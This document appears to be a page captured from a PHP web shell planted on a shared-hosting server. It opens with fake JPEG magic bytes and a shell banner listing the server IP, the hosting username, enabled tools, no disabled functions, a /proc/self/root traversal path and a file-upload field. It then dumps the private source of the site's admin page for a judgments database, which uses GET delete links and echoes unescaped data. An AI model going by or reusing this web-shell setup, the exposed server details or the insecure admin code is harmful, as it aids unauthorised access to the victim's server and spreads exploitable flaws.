ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/home/././././././././././././././././taxhyuvu/././www/admin/ |
Upload File : |
<?php
include"db.php";?>
<?php
Session_start();
if(isset($_SESSION['adminlogedin']) && $_SESSION['adminlogedin']==true) {
$email= $_SESSION['Email_Address03092372779'];
$user= $_SESSION['user03092372779'];
if($user == "a")
{
include("aside.php");
}
elseif($user == "e")
{
include("emoside.php");
}
else{
echo '<script>window.open("login", "_self")</script>';
}
?>
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<title>Add More</title>
<div id="layoutSidenav_content">
<main>
<div class="container-fluid px-4">
<h1 class="mt-4">Add Heading</h1>
<ol class="breadcrumb mb-4">
<li class="breadcrumb-item"><a href="index.html">Dashboard</a></li>
<li class="breadcrumb-item active">Add Heading</li>
</ol>
<div class="card mb-4">
</div>
<div class="row">
<div class="col-md-6" style="border: 1px solid #009bad;
border-radius: 9px;">
<div class="new">
<div class="row" style="background: #9692ad;color: white; border-top-left-radius: 9px; border-top-right-radius: 9px;padding-top: 12px;">
<div class="col-md-6" ><h3 style="font-size: 22px; font-family: math;font-weight: 600; padding-bottom: 5px;">Add Year</h3>
</div>
<div class="col-md-6"><button class="btn btn-secondary" style="float:right; background: #b0dbdf !important;color: #55475b !important;" onclick="document.getElementById('id01').style.display='block'">Add Year</button>
</div>
</div>
<ol>
<link rel="stylesheet" href="path/to/font-awesome/css/font-awesome.min.css">
<style>
.col-md-6 li{ font-size: 24px;}</style>
<?php
$Year1="SELECT * FROM `plus` ORDER BY `plus`.`Year` DESC";
$data11=mysqli_query($con,$Year1);
?>
<?php foreach ($data11 as $yy ) {
?>
<li>
<div class="row">
<div class="col-md-6" style=" padding-top: 5px;"><?php echo $yy['Year'];?></div>
<div class="col-md-6">
<a href="drop?id=<?php echo $yy['id']?>"><i class="fa fa-trash" aria-hidden="true" style="float:right; color:#dc3545; padding: 10px;"></i></a>
</div>
</div>
</li>
<?php }?>
</ol>
</div>
</div>
<style>
.btn {
background: rgb(150 146 174) !important;
color: #ffffff !important;
border-color: #9692ad !important;
}
</style>
<div class="col-md-6" style="border: 2px solid #929a9d;
border-radius: 9px;">
<div class="new">
<div class="row" style=" background: rgb(174 219 223); color: #3f475c;border-top-left-radius: 9px; border-top-right-radius: 9px;padding-top: 10px;">
<div class="col-md-6"> <h3 style="font-size: 22px; font-family: math;font-weight: 600; padding-bottom: 5px;">Add Court</h3></div>
<div class="col-md-6"><button class="btn btn-danger" style="float:right;" style="background: #009bad !important;
border-color: #009bad !important;" onclick="document.getElementById('id02').style.display='block'" >Add Court</button></div>
</div>
<ol>
<?php
$Year="SELECT * FROM `pluss`";
$data1=mysqli_query($con,$Year);
?>
<?php foreach ($data1 as $y ) {
?>
<li>
<div class="row">
<div class="col-md-9" style=" padding-top: 5px;"><?php echo $y['Court'];?></div>
<div class="col-md-3">
<a href="drop?idd=<?php echo $y['id']?>"><i class="fa fa-trash" aria-hidden="true" style="float:right; color:#dc3545; padding: 10px;"></i></a>
</div>
</div>
</li>
<?php }?>
</ol>
</div>
</div>
</div>
</div>
</main>
<style>
.w3-green, .w3-hover-green:hover {
color: #fff!important;
background-color: #009bad !important;
}
</style>
<footer class="py-4 bg-light mt-auto">
<div class="container-fluid px-4">
<div class="d-flex align-items-center justify-content-between small">
<div class="text-muted">Copyright © Your Website 2023</div>
<div>
<a href="#">Privacy Policy</a>
·
<a href="#">Terms & Conditions</a>
</div>
</div>
</div>
</footer>
</div>
</div>
<div id="id01" class="w3-modal">
<div class="w3-modal-content w3-card-4 w3-animate-zoom" style="max-width:600px">
<div class="w3-center"><br>
<span onclick="document.getElementById('id01').style.display='none'" class="w3-button w3-xlarge w3-hover-red w3-display-topright" title="Close Modal">×</span>
</div>
<form class="w3-container" action="judgmentdata.php" method="post">
<div class="w3-section">
<label><b>Add Year</b></label>
<input class="w3-input w3-border w3-margin-bottom" type="text" placeholder="Enter Year" name="Year" required>
<button class="w3-button w3-block w3-green w3-section w3-padding" type="submit" name="GoYear">Add Year</button>
</div>
</form>
<div class="w3-container w3-border-top w3-padding-16 w3-light-grey">
<button onclick="document.getElementById('id01').style.display='none'" type="button" class="w3-button w3-red">Cancel</button>
</div>
</div>
</div>
</div>
<div id="id02" class="w3-modal">
<div class="w3-modal-content w3-card-4 w3-animate-zoom" style="max-width:600px">
<div class="w3-center"><br>
<span onclick="document.getElementById('id02').style.display='none'" class="w3-button w3-xlarge w3-hover-red w3-display-topright" title="Close Modal">×</span>
</div>
<form class="w3-container" action="judgmentdata.php" method="post"> <div class="w3-section">
<label><b>Add Court</b></label>
<input class="w3-input w3-border w3-margin-bottom" type="text" placeholder="Enter Court" name="Court" required>
<button class="w3-button w3-block w3-green w3-section w3-padding" type="submit" name="GoCourt">Add Court</button>
</div>
</form>
<div class="w3-container w3-border-top w3-padding-16 w3-light-grey">
<button onclick="document.getElementById('id02').style.display='none'" type="button" class="w3-button w3-red">Cancel</button>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js" crossorigin="anonymous"></script>
<script src="js/scripts.js"></script>
<script src="https://cdn.jsdelivr.net/npm/simple-datatables@7.1.2/dist/umd/simple-datatables.min.js" crossorigin="anonymous"></script>
<script src="js/datatables-simple-demo.js"></script>
</body>
</html>
<?php }
else{ echo '<script>window.open("login", "_self")</script>'; } ?>